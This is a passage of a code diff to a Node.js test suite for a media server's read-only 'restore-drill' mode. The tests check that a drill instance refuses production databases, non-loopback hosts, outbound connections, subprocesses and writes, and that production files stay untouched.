(p) => { try { const s = fs.statSync(p); return `${s.size}:${s.mtimeMs}`; } catch { return 'absent'; } };-- await check('DB_PATH = production\'s media.db: exit 1, the file untouched', () => {-- const prod = path.join(REPO, 'data', 'media.db');-- const before = [prod, `${prod}-wal`, `${prod}-shm`].map(stamp);-- const r = boot({ DB_PATH: prod });-- assert.strictEqual(r.status, 1, r.stdout + r.stderr);-- assert.match(r.stderr, /refusing to start a restore-drill instance: DB_PATH .* is production's database/);-- assert.deepStrictEqual([prod, `${prod}-wal`, `${prod}-shm`].map(stamp), before);-- });-- await check('HOST 0.0.0.0: exit 1 before the database is created', () => {-- const other = path.join(tmp, 'never', 'media.db');-- const r = boot({ DB_PATH: other, HOST: '0.0.0.0' });-- assert.strictEqual(r.status, 1, r.stdout + r.stderr);-- assert.match(r.stderr, /HOST \(0\.0\.0\.0\) is not loopback/);-- assert.ok(!fs.existsSync(path.dirname(other)));-- });++ const REPO = path.resolve(__dirname, '..');++ const SERVER = path.join(REPO, 'server');++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'media-drill-test-'));++ // "Production": its database and its storage, with real files the database points at.++ const PROD = path.join(tmp, 'prod');++ const P = { vods: path.join(PROD, 'vods'), clips: path.join(PROD, 'clips'), pastes: path.join(PROD, 'pastes'), files: path.join(PROD, 'files'), objects: path.join(PROD, 'objects'), assets: path.join(PROD, 'assets'), thumbs: path.join(PROD, 'thumbnails') };++ // The drill: a restored copy of the database (pgBackRest restores the cluster on a spare port), and storage the++ // way the Host inventory sets it (every directory but thumbnails moved under the drill directory, never created).++ // In this test the process's own database stands for the restored copy.++ const DRILL = path.join(tmp, 'drill');++ const DRILL_URL = 'postgres://[email protected]:55432/ov_media_drill';++ const PROD_URL = 'postgres://[email protected]:6432/ov_media';++ const STORAGE = path.join(DRILL, 'storage');++ fs.mkdirSync(DRILL, { recursive: true });-- // ── Production's database and files (a normal-mode process writes them) ──-- // The `live` app's webhook goes to a sink here: a drill must never call it.-- const sinkHits = [];-- const sink = http.createServer((req, res) => { sinkHits.push(`${req.method} ${req.url}`); res.end('ok'); });-- await new Promise((r) => sink.listen(0, '127.0.0.1', r));-- const SINK = `http://127.0.0.1:${sink.address().port}/media-webhook`;-- for (const d of Object.values(P)) fs.mkdirSync(d, { recursive: true });-- const bytes = { vod: path.join(P.vods, 'vod-1.mp4'), rec: path.join(P.vods, 'vod-2.mp4'), clip: path.join(P.clips, 'clip-1.mp4'), asset: path.join(P.assets, 'wave.png'), shot: path.join(P.pastes, 'shot-1.png'), file: path.join(P.files, 'live', 'f1.txt') };-- fs.mkdirSync(path.dirname(bytes.file), { recursive: true });-- for (const f of Object.values(bytes)) fs.writeFileSync(f, `bytes of ${path.basename(f)}`);-- fs.writeFileSync(path.join(P.thumbs, 'vod-1-1.jpg'), 'jpeg');-- const prodDb = path.join(PROD, 'media.db');-- const seed = spawnSync(process.execPath, ['-e', `-- const db = require('./server/db/database');-- db.getDb();-- require('./server/views/service').ensureSchema();-- const b = ${JSON.stringify(bytes)};-- db.run("INSERT INTO apps (app_id, name, api_key_hash, webhook_url, webhook_secret) VALUES ('live', 'OpenVibe.Live', ?, ?, 'whsec')", [require('crypto').createHash('sha256').update('k'.repeat(40)).digest('hex'), ${JSON.stringify(SINK)}]);-- db.run("INSERT INTO vods (app_id, title, file_path, thumbnail_url, duration_seconds, is_public, visibility) VALUES ('live', 'Restored VOD', ?, '/t/vod-1-1.jpg', 60, 1, 'public')", [b.vod]);-- db.run("INSERT INTO vods (app_id, title, file_path, is_public, visibility, is_recording) VALUES ('live', 'Still recording', ?, 1, 'public', 1)", [b.rec]);-- db.run("INSERT INTO clips (app_id, vod_id, title, file_path, duration_seconds, status) VALUES ('live', 1, 'Restored clip', ?, 10, 'ready')", [b.clip]);-- db.run("INSERT INTO assets (app_id, kind, name, file_path, mime) VALUES ('live', 'emote', 'drillWave', ?, 'image/png')", [b.asset]);-- db.run("INSERT INTO pastes (app_id, slug, type, title, screenshot_path, visibility) VALUES ('live', 'shot1', 'screenshot', 'Shot', ?, 'public')", [b.shot]);-- db.run("INSERT INTO files (key, app_id, original_name, size, mime) VALUES ('f1.txt', 'live', 'f1.txt', 13, 'text/plain')");-- require('./server/objects/backfill').backfill({ onlyMissing: true });-- db.close();-- `], { cwd: REPO, encoding: 'utf8', env: { ...process.env, DB_PATH: prodDb, VOD_PATH: P.vods, CLIPS_PATH: P.clips, PASTES_PATH: P.pastes, FILES_PATH: P.files, OBJECTS_PATH: P.objects, ASSETS_PATH: P.assets, THUMBNAILS_PATH: P.thumbs } });-- assert.strictEqual(seed.status, 0, `seeding failed:\n${seed.stdout}\n${seed.stderr}`);-- // The restore: a copy of the database file in the drill's own directory.-- fs.mkdirSync(path.dirname(DB_PATH), { recursive: true });-- fs.copyFileSync(prodDb, DB_PATH);-- const Database = require('better-sqlite3');-- const COUNTED = ['media_objects', 'vods', 'clips', 'apps', 'media_locations', 'media_jobs', 'event_outbox'];-- const counts = () => { const d = new Database(DB_PATH, { readonly: true }); try { return Object.fromEntries(COUNTED.map((t) => { try { return [t, d.prepare(`SELECT count(*) AS n FROM ${t}`).get().n]; } catch { return [t, null]; } })); } finally { d.close(); } };-- const countsBefore = counts();-- const objectId = (() => { const d = new Database(DB_PATH, { readonly: true }); try { return d.prepare("SELECT id FROM media_objects WHERE kind = 'vod' ORDER BY id LIMIT 1").get().id; } finally { d.close(); } })();-- const prodBefore = snapshot(PROD);---- // ── Boot the real server in drill mode, in this process, with spies ──-- const port = await freePort();-- Object.assign(process.env, {-- MEDIA_DRILL: '1', DB_PATH, HOST: '127.0.0.1', PORT: String(port), NODE_ENV: 'production',-- // What the production env file sets; a normal boot would act on all of it.-- EVENTS_URL: 'http://127.0.0.1:9', OV_OAUTH_CLIENT_SECRET: 's'.repeat(40), INTERNAL_API_KEY: 'k'.repeat(40),-- MEDIA_APP_KEYS: `live:${'n'.repeat(40)},games:${'g'.repeat(40)}`,-- MEDIA_B2_ENDPOINT: 'https://s3.example.invalid', MEDIA_B2_BUCKET: 'b', MEDIA_B2_KEY_ID: 'id', MEDIA_B2_APP_KEY: 'key',-- MEDIA_R2_ENDPOINT: 'https://r2.example.invalid', MEDIA_R2_BUCKET: 'r', MEDIA_R2_ACCESS_KEY_ID: 'id', MEDIA_R2_SECRET_ACCESS_KEY: 'key',-- // The Host inventory's storage: nothing but the thumbnail listing points at production.-- VOD_PATH: path.join(STORAGE, 'vods'), CLIPS_PATH: path.join(STORAGE, 'clips'), PASTES_PATH: path.join(STORAGE, 'pastes'),-- FILES_PATH: path.join(STORAGE, 'files'), OBJECTS_PATH: path.join(STORAGE, 'objects'), ASSETS_PATH: path.join(STORAGE, 'assets'),-- THUMBNAILS_PATH: P.thumbs,-- });-- const inServer = (stack) => {-- const frame = stack.split('\n').slice(2).find((l) => l.includes(REPO) && !l.includes(`${path.sep}node_modules${path.sep}`) && !l.includes(__filename));-- return frame && frame.includes(`${SERVER}${path.sep}`) ? frame.trim() : null;-- };-- const spied = { intervals: [], longTimeouts: [], listens: [], programs: [], dbPathTouches: [] };-- const realSetInterval = global.setInterval;-- global.setInterval = function (fn, ms, ...a) { spied.intervals.push({ ms, at: (new Error().stack.split('\n')[2] || '').trim() }); return realSetInterval(fn, ms, ...a); };-- const realSetTimeout = global.setTimeout;-- global.setTimeout = function (fn, ms, ...a) { if (ms >= 1000) { const at = inServer(new Error().stack); if (at) spied.longTimeouts.push({ ms, at }); } return realSetTimeout(fn, ms, ...a); };-- const realListen = net.Server.prototype.listen;-- net.Server.prototype.listen = function (...a) { spied.listens.push(a[0]); return realListen.apply(this, a); };-- const cp = require('child_process');-- for (const fn of ['spawn', 'spawnSync', 'exec', 'execSync', 'execFile', 'execFileSync', 'fork']) {-- const orig = cp[fn];-- cp[fn] = function (...a) { spied.programs.push(fn === 'exec' || fn === 'execSync' ? String(a[0]).split(/\s+/)[0] : String(a[0])); return orig.apply(this, a); };++ let failures = 0;++ async function check(name, fn) {++ try { await fn(); console.log(` ✓ ${name}`); } catch (err) { failures++; console.error(` ✗ ${name}\n ${err.stack || err.message}`); }++ }++ function freePort() {++ return new Promise((resolve) => { const s = net.createServer().listen(0, '127.0.0.1', () => { const p = s.address().port; s.close(() => resolve(p)); }); });}-- // Any look at a file path the database holds (production's media) is recorded.-- const dbPaths = new Set(Object.values(bytes));-- for (const fn of ['createReadStream', 'statSync', 'existsSync', 'openSync', 'readFileSync', 'stat', 'open', 'readFile']) {-- const orig = fs[fn];-- fs[fn] = function (p, ...a) { if (dbPaths.has(String(p))) spied.dbPathTouches.push(`${fn} ${p}`); return orig.call(this, p, ...a); };++ /** Every file and directory under dir with its size and mtime. */++ function snapshot(dir) {++ const out = {};++ const walk = (d) => { for (const e of fs.readdirSync(d, { withFileTypes: true })) { const p = path.join(d, e.name); const s = fs.statSync(p); out[path.relative(dir, p)] = `${e.isDirectory() ? 'dir' : s.size}:${s.mtimeMs}`; if (e.isDirectory()) walk(p); } };++ walk(dir);++ return out;}-- delete require.cache[require.resolve('../server/drill')]; // loaded above with MEDIA_DRILL unset-- require('../server/index.js');-- const drill = require('../server/drill');-- const base = `http://127.0.0.1:${port}`;-- const request = (method, p, { headers = {}, body = null } = {}) => new Promise((resolve, reject) => {-- const req = http.request(base + p, { method, headers: { ...(body ? { 'Content-Type': 'application/json' } : {}), ...headers } }, (res) => {-- let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, text: b, json: (() => { try { return JSON.parse(b); } catch { return null; } })() }));++ const drillMod = require('../server/drill'); // MEDIA_DRILL is unset here: `enabled` is false until the boot below++ const safe = { DATABASE_URL: DRILL_URL, HOST: '127.0.0.1', PORT: '14100' };++++ (async () => {++ console.log('drill-mode: environment guard');++ await check('MEDIA_DRILL parses like a switch and is off by default', () => {++ for (const v of ['1', 'true', 'on', 'yes']) assert.strictEqual(drillMod.parse(v), true, v);++ for (const v of ['', '0', 'false', 'off', undefined]) assert.strictEqual(drillMod.parse(v), false, String(v));++ assert.strictEqual(drillMod.enabled, false);});-- req.on('error', reject);-- if (body) req.write(typeof body === 'string' ? body : JSON.stringify(body));-- req.end();-- });-- let ready = null;-- for (let i = 0; i < 150 && !(ready && ready.status === 200); i++) {-- try { ready = await request('GET', '/api/ready'); } catch { /* not listening yet */ }-- if (!ready || ready.status !== 200) await new Promise((r) => realSetTimeout(r, 100));-- }-- await new Promise((r) => realSetTimeout(r, 1500)); // let anything deferred show itself++ await check('a safe environment passes', () => assert.deepStrictEqual(drillMod.problems(safe), []));++ await check('refuses production\'s database (ov_media on 5432, or PgBouncer\'s 6432) and a missing DATABASE_URL', () => {++ for (const u of [PROD_URL, 'postgres://[email protected]:5432/ov_media', 'postgres://ov_media@localhost/ov_media']) {++ assert.ok(drillMod.problems({ ...safe, DATABASE_URL: u }).some((m) => /production's database/.test(m)), u);++ }++ assert.ok(drillMod.problems({ ...safe, DATABASE_URL: '' }).some((m) => /DATABASE_URL is not set/.test(m)));++ });++ await check('refuses a DATABASE_DIRECT_URL (a drill never migrates)', () => {++ assert.ok(drillMod.problems({ ...safe, DATABASE_DIRECT_URL: 'postgres://[email protected]:5432/ov_media' }).some((m) => /never migrates/.test(m)));++ });++ await check('refuses a non-loopback HOST and production\'s PORT', () => {++ for (const h of ['', '0.0.0.0', '::', '10.0.0.4']) assert.ok(drillMod.problems({ ...safe, HOST: h }).some((m) => /not loopback/.test(m)), h);++ for (const h of ['127.0.0.1', '::1', 'localhost']) assert.deepStrictEqual(drillMod.problems({ ...safe, HOST: h }), [], h);++ assert.ok(drillMod.problems({ ...safe, PORT: '4100' }).some((m) => /production's port/.test(m)));++ assert.ok(drillMod.problems({ ...safe, PORT: '' }).some((m) => /PORT is not set/.test(m)));++ });++++ // ── A real `node server/index.js` refuses before opening anything ──++ console.log('drill-mode: refusal at boot');++ const refusalPort = await freePort();++ const boot = (env) => spawnSync(process.execPath, [path.join(SERVER, 'index.js')], {++ cwd: REPO, encoding: 'utf8', timeout: 30000,++ env: { ...process.env, MEDIA_DRILL: '1', HOST: '127.0.0.1', PORT: String(refusalPort), ...env },++ });++ await check('DATABASE_URL = production\'s database: exit 1', () => {++ const r = boot({ DATABASE_URL: PROD_URL, DATABASE_DIRECT_URL: '' });++ assert.strictEqual(r.status, 1, r.stdout + r.stderr);++ assert.match(r.stderr, /refusing to start a restore-drill instance: DATABASE_URL .* is production's database/);++ });++ await check('HOST 0.0.0.0: exit 1 before the database is opened', () => {++ const r = boot({ DATABASE_URL: DRILL_URL, DATABASE_DIRECT_URL: '', HOST: '0.0.0.0' });++ assert.strictEqual(r.status, 1, r.stdout + r.stderr);++ assert.match(r.stderr, /HOST \(0\.0\.0\.0\) is not loopback/);++ });++++ // ── Production's database and files (a normal-mode process writes them) ──++ // The `live` app's webhook goes to a sink here: a drill must never call it.++ const sinkHits = [];++ const sink = http.createServer((req, res) => { sinkHits.push(`${req.method} ${req.url}`); res.end('ok'); });++ await new Promise((r) => sink.listen(0, '127.0.0.1', r));++ const SINK = `http://127.0.0.1:${sink.address().port}/media-webhook`;++ for (const d of Object.values(P)) fs.mkdirSync(d, { recursive: true });++ const bytes = { vod: path.join(P.vods, 'vod-1.mp4'), rec: path.join(P.vods, 'vod-2.mp4'), clip: path.join(P.clips, 'clip-1.mp4'), asset: path.join(P.assets, 'wave.png'), shot: path.join(P.pastes, 'shot-1.png'), file: path.join(P.files, 'live', 'f1.txt') };++ fs.mkdirSync(path.dirname(bytes.file), { recursive: true });++ for (const f of Object.values(bytes)) fs.writeFileSync(f, `bytes of ${path.basename(f)}`);++ fs.writeFileSync(path.join(P.thumbs, 'vod-1-1.jpg'), 'jpeg');++ const prodBefore = snapshot(PROD);-- console.log('drill-mode: a booted drill instance');-- await check('/api/ready is 200, mode: drill, and checks no storage and no remote tier', () => {-- assert.strictEqual(ready && ready.status, 200, ready && ready.text);-- assert.strictEqual(ready.json.ready, true);-- assert.strictEqual(ready.json.mode, 'drill');-- assert.deepStrictEqual(Object.keys(ready.json.checks).filter((k) => /^(storage|remote)_/.test(k)), []);-- assert.strictEqual(ready.json.checks.events_outbox.detail.enabled, false);-- });-- await check('one listener: its HTTP port on 127.0.0.1 (no RTP, no other server)', () => {-- assert.deepStrictEqual(spied.listens.map(String), [String(port)]);-- const servers = process._getActiveHandles().filter((h) => h instanceof net.Server && h.listening && h !== sink);-- assert.deepStrictEqual(servers.map((s) => s.address()), [{ address: '127.0.0.1', family: 'IPv4', port }]);-- });-- await check('no timers: no setInterval at all, no timer of a second or more from Media\'s code', () => {-- assert.deepStrictEqual(spied.intervals, [], JSON.stringify(spied.intervals, null, 1));-- assert.deepStrictEqual(spied.longTimeouts, [], JSON.stringify(spied.longTimeouts, null, 1));-- });-- await check('no program but git ran, nothing tried to leave, no webhook reached the app', () => {-- assert.ok(spied.programs.every((p) => path.basename(p) === 'git'), spied.programs.join(', '));-- assert.deepStrictEqual(drill.blocked, []);-- assert.deepStrictEqual(sinkHits, []);-- });-- await check('no app seeding: the copy\'s apps are production\'s, untouched by MEDIA_APP_KEYS', () => {-- assert.deepStrictEqual(counts(), countsBefore);-- });++ // ── Boot the real server in drill mode, in this process, with spies ──++ const port = await freePort();++ Object.assign(process.env, {++ MEDIA_DRILL: '1', DATABASE_URL: DRILL_URL, DATABASE_DIRECT_URL: '', HOST: '127.0.0.1', PORT: String(port), NODE_ENV: 'production',++ // What the production env file sets; a normal boot would act on all of it.++ EVENTS_URL: 'http://127.0.0.1:9', OV_OAUTH_CLIENT_SECRET: 's'.repeat(40), INTERNAL_API_KEY: 'k'.repeat(40),++ MEDIA_APP_KEYS: `live:${'n'.repeat(40)},games:${'g'.repeat(40)}`,++ MEDIA_B2_ENDPOINT: 'https://s3.example.invalid', MEDIA_B2_BUCKET: 'b', MEDIA_B2_KEY_ID: 'id', MEDIA_B2_APP_KEY: 'key',++ MEDIA_R2_ENDPOINT: 'https://r2.example.invalid', MEDIA_R2_BUCKET: 'r', MEDIA_R2_ACCESS_KEY_ID: 'id', MEDIA_R2_SECRET_ACCESS_KEY: 'key',++ // The Host inventory's storage: nothing but the thumbnail listing points at production.++ VOD_PATH: path.join(STORAGE, 'vods'), CLIPS_PATH: path.join(STORAGE, 'clips'), PASTES_PATH: path.join(STORAGE, 'pastes'),++ FILES_PATH: path.join(STORAGE, 'files'), OBJECTS_PATH: path.join(STORAGE, 'objects'), ASSETS_PATH: path.join(STORAGE, 'assets'),++ THUMBNAILS_PATH: P.thumbs,++ });++ // The restored copy's rows (written before the drill boots, as production wrote them).++ const db = require('../server/db/database');++ await db.initDb();++ await db.run("INSERT INTO apps (app_id, name, api_key_hash, webhook_url, webhook_secret) VALUES ('live', 'OpenVibe.Live', ?, ?, 'whsec')", [require('crypto').createHash('sha256').update('k'.repeat(40)).digest('hex'), SINK]);++ await db.run("INSERT INTO vods (id, app_id, title, file_path, thumbnail_url, duration_seconds, is_public, visibility) OVERRIDING SYSTEM VALUE VALUES (1, 'live', 'Restored VOD', ?, '/t/vod-1-1.jpg', 60, 1, 'public')", [bytes.vod]);++ await db.run("INSERT INTO vods (id, app_id, title, file_path, is_public, visibility, is_recording) OVERRIDING SYSTEM VALUE VALUES (2, 'live', 'Still recording', ?, 1, 'public', 1)", [bytes.rec]);++ await db.run("INSERT INTO clips (id, app_id, vod_id, title, file_path, duration_seconds, status) OVERRIDING SYSTEM VALUE VALUES (1, 'live', 1, 'Restored clip', ?, 10, 'ready')", [bytes.clip]);++ await db.run("INSERT INTO assets (id, app_id, kind, name, file_path, mime) OVERRIDING SYSTEM VALUE VALUES (1, 'live', 'emote', 'drillWave', ?, 'image/png')", [bytes.asset]);++ await db.run("INSERT INTO pastes (id, app_id, slug, type, title, screenshot_path, visibility) OVERRIDING SYSTEM VALUE VALUES (1, 'live', 'shot1', 'screenshot', 'Shot', ?, 'public')", [bytes.shot]);++ await db.run("INSERT INTO files (key, app_id, original_name, size, mime) VALUES ('f1.txt', 'live', 'f1.txt', 13, 'text/plain')");++ await require('../server/objects/backfill').backfill({ onlyMissing: true });++ const COUNTED = ['media_objects', 'vods', 'clips', 'apps', 'media_locations', 'media_jobs', 'event_outbox'];++ const counts = async () => Object.fromEntries(await Promise.all(COUNTED.map(async (t) => [t, Number((await db.get(`SELECT COUNT(*) AS n FROM ${t}`)).n)])));++ const countsBefore = await counts();++ const objectId = (await db.get("SELECT id FROM media_objects WHERE kind = 'vod' ORDER BY id LIMIT 1")).id;-- console.log('drill-mode: reads');-- const head = execFileSync('git', ['rev-parse', '--short=12', 'HEAD'], { cwd: REPO, encoding: 'utf8' }).trim();-- await check('the endpoints the Host inventory compares render from the copy and ask nobody', async () => {-- const rel = await request('GET', '/release.json');-- assert.strictEqual(rel.status, 200);-- assert.strictEqual(rel.json.release, head);-- const videos = await request('GET', '/browse?tab=videos');-- assert.strictEqual(videos.status, 200);-- assert.ok(videos.text.includes('Restored VOD') && !videos.text.includes('Still recording'));-- assert.match(videos.text, /Thumbnails<span class="n">1</, 'the thumbnail listing is production\'s directory');-- const clips = await request('GET', '/browse?tab=clips');-- assert.strictEqual(clips.status, 200);-- assert.ok(clips.text.includes('Restored clip'));-- assert.strictEqual((await request('GET', '/')).status, 200);-- assert.strictEqual((await request('GET', '/healthz')).status, 200);-- const page = await request('GET', '/v/1', { headers: { Accept: 'text/html' } });-- assert.strictEqual(page.status, 200);-- assert.ok(page.text.includes('Restored VOD'), 'the watch page renders from the row');-- assert.deepStrictEqual(drill.blocked, []);-- assert.deepStrictEqual(spied.dbPathTouches, []);-- });-- await check('every route that would stream a stored file answers 503 without opening the database\'s path', async () => {-- const byteRoutes = ['/v/1', '/v/1?raw=1', '/v/vod-1.mp4', '/c/1', '/c/1?raw=1', `/o/${objectId}`, '/t/vod-1-1.jpg', '/api/thumbnails/vod-1-1.jpg',-- '/a/1', '/f/f1.txt', '/f/screenshots/shot-1.png', '/p/shot1/screenshot', '/live/1/frame.jpg'];-- for (const p of byteRoutes) {-- const r = await request('GET', p, { headers: { Range: 'bytes=0-' } });-- assert.strictEqual(r.status, 503, `${p}: ${r.status} ${r.text.slice(0, 120)}`);-- assert.strictEqual(r.json && r.json.code, 'media.drill_no_bytes', p);++ const inServer = (stack) => {++ // A timer a package sets itself (the PostgreSQL pool's connect and idle timeouts) is not Media's.++ if ((stack.split('\n')[2] || '').includes(`${path.sep}node_modules${path.sep}`)) return null;++ const frame = stack.split('\n').slice(2).find((l) => l.includes(REPO) && !l.includes(`${path.sep}node_modules${path.sep}`) && !l.includes(__filename));++ return frame && frame.includes(`${SERVER}${path.sep}`) ? frame.trim() : null;++ };++ const spied = { intervals: [], longTimeouts: [], listens: [], programs: [], dbPathTouches: [] };++ const realSetInterval = global.setInterval;++ global.setInterval = function (fn, ms, ...a) { spied.intervals.push({ ms, at: (new Error().stack.split('\n')[2] || '').trim() }); return realSetInterval(fn, ms, ...a); };++ const realSetTimeout = global.setTimeout;++ global.setTimeout = function (fn, ms, ...a) { if (ms >= 1000) { const at = inServer(new Error().stack); if (at) spied.longTimeouts.push({ ms, at }); } return realSetTimeout(fn, ms, ...a); };++ const realListen = net.Server.prototype.listen;++ net.Server.prototype.listen = function (...a) { spied.listens.push(a[0]); return realListen.apply(this, a); };++ const cp = require('child_process');++ for (const fn of ['spawn', 'spawnSync', 'exec', 'execSync', 'execFile', 'execFileSync', 'fork']) {++ const orig = cp[fn];++ cp[fn] = function (...a) { spied.programs.push(fn === 'exec' || fn === 'execSync' ? String(a[0]).split(/\s+/)[0] : String(a[0])); return orig.apply(this, a); };++ }++ // Any look at a file path the database holds (production's media) is recorded.++ const dbPaths = new Set(Object.values(bytes));++ for (const fn of ['createReadStream', 'statSync', 'existsSync', 'openSync', 'readFileSync', 'stat', 'open', 'readFile']) {++ const orig = fs[fn];++ fs[fn] = function (p, ...a) { if (dbPaths.has(String(p))) spied.dbPathTouches.push(`${fn} ${p}`); return orig.call(this, p, ...a); };}-- assert.deepStrictEqual(spied.dbPathTouches, [], 'no stored file was looked at');-- assert.deepStrictEqual(spied.programs.filter((p) => path.basename(p) !== 'git'), [], 'no ffmpeg/ffprobe');-- });-- console.log('drill-mode: writes, sign-in, side effects');-- await check('writes answer 403 on every path and change nothing; sign-in answers 503', async () => {-- const auth = { Authorization: `Bearer ${'k'.repeat(40)}` };-- const writes = [-- ['POST', '/api/v1/live/vods', { title: 'x' }], ['PUT', '/api/v1/live/vods/1', { title: 'y' }], ['DELETE', '/api/v1/live/vods/1', null],-- ['POST', '/api/v1/live/clips', { vod_id: 1 }], ['PUT', `/api/v2/live/objects/${objectId}/content`, 'raw bytes'], ['POST', '/api/v2/live/jobs', { type: 'thumbnail' }],-- ['POST', '/api/v1/live/admin/storage/tiers/sweep', {}], ['POST', '/internal/avatar-ingest', {}], ['PATCH', '/api/v1/live/vods/1', {}],-- ['POST', '/release-metrics', { counts: { reloaded: { user: 1 } } }],-- ];-- for (const [m, p, body] of writes) {-- const r = await request(m, p, { headers: auth, body });-- assert.strictEqual(r.status, 403, `${m} ${p}: ${r.status}`);-- assert.strictEqual(r.json && r.json.code, 'media.drill_read_only', `${m} ${p}`);++ delete require.cache[require.resolve('../server/drill')]; // loaded above with MEDIA_DRILL unset++ await require('../server/index.js').ready;++ const drill = require('../server/drill');++ const base = `http://127.0.0.1:${port}`;++ const request = (method, p, { headers = {}, body = null } = {}) => new Promise((resolve, reject) => {++ const req = http.request(base + p, { method, headers: { ...(body ? { 'Content-Type': 'application/json' } : {}), ...headers } }, (res) => {++ let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, text: b, json: (() => { try { return JSON.parse(b); } catch { return null; } })() }));++ });++ req.on('error', reject);++ if (body) req.write(typeof body === 'string' ? body : JSON.stringify(body));++ req.end();++ });++ let ready = null;++ for (let i = 0; i < 150 && !(ready && ready.status === 200); i++) {++ try { ready = await request('GET', '/api/ready'); } catch { /* not listening yet */ }++ if (!ready || ready.status !== 200) await new Promise((r) => realSetTimeout(r, 100));}-- const login = await request('GET', '/auth/login');-- assert.strictEqual(login.status, 503);-- // The object explorer signs nobody in either, and verifies no token (that would ask Network for its key).-- const mine = await request('GET', '/api/v2/me/objects', { headers: { Cookie: 'ov_token=a.b.c' } });-- assert.deepStrictEqual([mine.status, mine.json && mine.json.code], [503, 'media.drill_no_sign_in']);-- const mePage = await request('GET', '/me', { headers: { Cookie: 'ov_token=a.b.c' } });-- assert.ok(mePage.status === 503 && mePage.text.includes('restore-drill'), `/me: ${mePage.status}`);-- assert.deepStrictEqual(drill.blocked, [], 'nothing tried to leave');-- assert.deepStrictEqual(counts(), countsBefore);-- });-- await check('webhooks and the Events relay stay off even when called', async () => {-- assert.strictEqual(await require('../server/webhooks').sendWebhook('live', 'vod.ready', { id: 1 }), false);-- assert.strictEqual(require('../server/events').init(), null);-- assert.deepStrictEqual(sinkHits, []);-- });-- await check('the guards refuse a connection, ffmpeg, a listener and a UDP socket', async () => {-- await assert.rejects(fetch('https://openvibe.live/internal/media-webhook'), /fetch failed/);-- const sock = net.connect({ host: '127.0.0.1', port: sink.address().port });-- const err = await new Promise((resolve) => sock.on('error', resolve));-- assert.strictEqual(err.code, 'ECONNREFUSED');-- assert.deepStrictEqual(sinkHits, [], 'the connection never reached the app');-- assert.throws(() => cp.spawn('ffmpeg', ['-version']), (e) => e.code === 'EDRILL');-- assert.throws(() => net.createServer().listen(12000), (e) => e.code === 'EDRILL');-- assert.throws(() => require('dgram').createSocket('udp4'), (e) => e.code === 'EDRILL');-- });-- await check('production\'s files are untouched and the drill created no storage directory', () => {-- assert.deepStrictEqual(snapshot(PROD), prodBefore);-- assert.ok(!fs.existsSync(STORAGE), `${STORAGE} was created`);-- assert.deepStrictEqual(fs.readdirSync(DRILL), ['db']);-- });++ await new Promise((r) => realSetTimeout(r, 1500)); // let anything deferred show itself++++ console.log('drill-mode: a booted drill instance');++ await check('/api/ready is 200, mode: drill, and checks no storage and no remote tier', () => {++ assert.strictEqual(ready && ready.status, 200, ready && ready.text);++ assert.strictEqual(ready.json.ready, true);++ assert.strictEqual(ready.json.mode, 'drill');++ assert.deepStrictEqual(Object.keys(ready.json.checks).filter((k) => /^(storage|remote)_/.test(k)), []);++ assert.strictEqual(ready.json.checks.events_outbox.detail.enabled, false);++ });++ await check('one listener: its HTTP port on 127.0.0.1 (no RTP, no other server)', () => {++ assert.deepStrictEqual(spied.listens.map(String), [String(port)]);++ const servers = process._getActiveHandles().filter((h) => h instanceof net.Server && h.listening && h !== sink);++ assert.deepStrictEqual(servers.map((s) => s.address()), [{ address: '127.0.0.1', family: 'IPv4', port }]);++ });++ await check('no timers: no setInterval at all, no timer of a second or more from Media\'s code', () => {++ assert.deepStrictEqual(spied.intervals, [], JSON.stringify(spied.intervals, null, 1));++ assert.deepStrictEqual(spied.longTimeouts, [], JSON.stringify(spied.longTimeouts, null, 1));++ });++ await check('no program but git ran, nothing tried to leave, no webhook reached the app', () => {++ assert.ok(spied.programs.every((p) => path.basename(p) === 'git'), spied.programs.join(', '));++ assert.deepStrictEqual(drill.blocked, []);++ assert.deepStrictEqual(sinkHits, []);++ });++ await check('no app seeding: the copy\'s apps are production\'s, untouched by MEDIA_APP_KEYS', async () => {++ assert.deepStrictEqual(await counts(), countsBefore);++ });++++ console.log('drill-mode: reads');++ const head = execFileSync('git', ['rev-parse', '--short=12', 'HEAD'], { cwd: REPO, encoding: 'utf8' }).trim();++ await check('the endpoints the Host inventory compares render from the copy and ask nobody', async () => {++ const rel = await request('GET', '/release.json');++ assert.strictEqual(rel.status, 200);++ assert.strictEqual(rel.json.release, head);++ const videos = await request('GET', '/browse?tab=videos');++ assert.strictEqual(videos.status, 200);++ assert.ok(videos.text.includes('Restored VOD') && !videos.text.includes('Still recording'));++ assert.match(videos.text, /Thumbnails<span class="n">1</, 'the thumbnail listing is production\'s directory');++ const clips = await request('GET', '/browse?tab=clips');++ assert.strictEqual(clips.status, 200);++ assert.ok(clips.text.includes('Restored clip'));++ assert.strictEqual((await request('GET', '/')).status, 200);++ assert.strictEqual((await request('GET', '/healthz')).status, 200);++ const page = await request('GET', '/v/1', { headers: { Accept: 'text/html' } });++ assert.strictEqual(page.status, 200);++ assert.ok(page.text.includes('Restored VOD'), 'the watch page renders from the row');++ assert.deepStrictEqual(drill.blocked, []);++ assert.deepStrictEqual(spied.dbPathTouches, []);++ });++ await check('every route that would stream a stored file answers 503 without opening the database\'s path', async () => {++ const byteRoutes = ['/v/1', '/v/1?raw=1', '/v/vod-1.mp4', '/c/1', '/c/1?raw=1', `/o/${objectId}`, '/t/vod-1-1.jpg', '/api/thumbnails/vod-1-1.jpg',++ '/a/1', '/f/f1.txt', '/f/screenshots/shot-1.png', '/p/shot1/screenshot', '/live/1/frame.jpg'];++ for (const p of byteRoutes) {++ const r = await request('GET', p, { headers: { Range: 'bytes=0-' } });++ assert.strictEqual(r.status, 503, `${p}: ${r.status} ${r.text.slice(0, 120)}`);++ assert.strictEqual(r.json && r.json.code, 'media.drill_no_bytes', p);++ }++ assert.deepStrictEqual(spied.dbPathTouches, [], 'no stored file was looked at');++ assert.deepStrictEqual(spied.programs.filter((p) => path.basename(p) !== 'git'), [], 'no ffmpeg/ffprobe');++ });++++ console.log('drill-mode: writes, sign-in, side effects');++ await check('writes answer 403 on every path and change nothing; sign-in answers 503', async () => {++ const auth = { Authorization: `Bearer ${'k'.repeat(40)}` };++ const writes = [++ ['POST', '/api/v1/live/vods', { title: 'x' }], ['PUT', '/api/v1/live/vods/1', { title: 'y' }], ['DELETE', '/api/v1/live/vods/1', null],++ ['POST', '/api/v1/live/clips', { vod_id: 1 }], ['PUT', 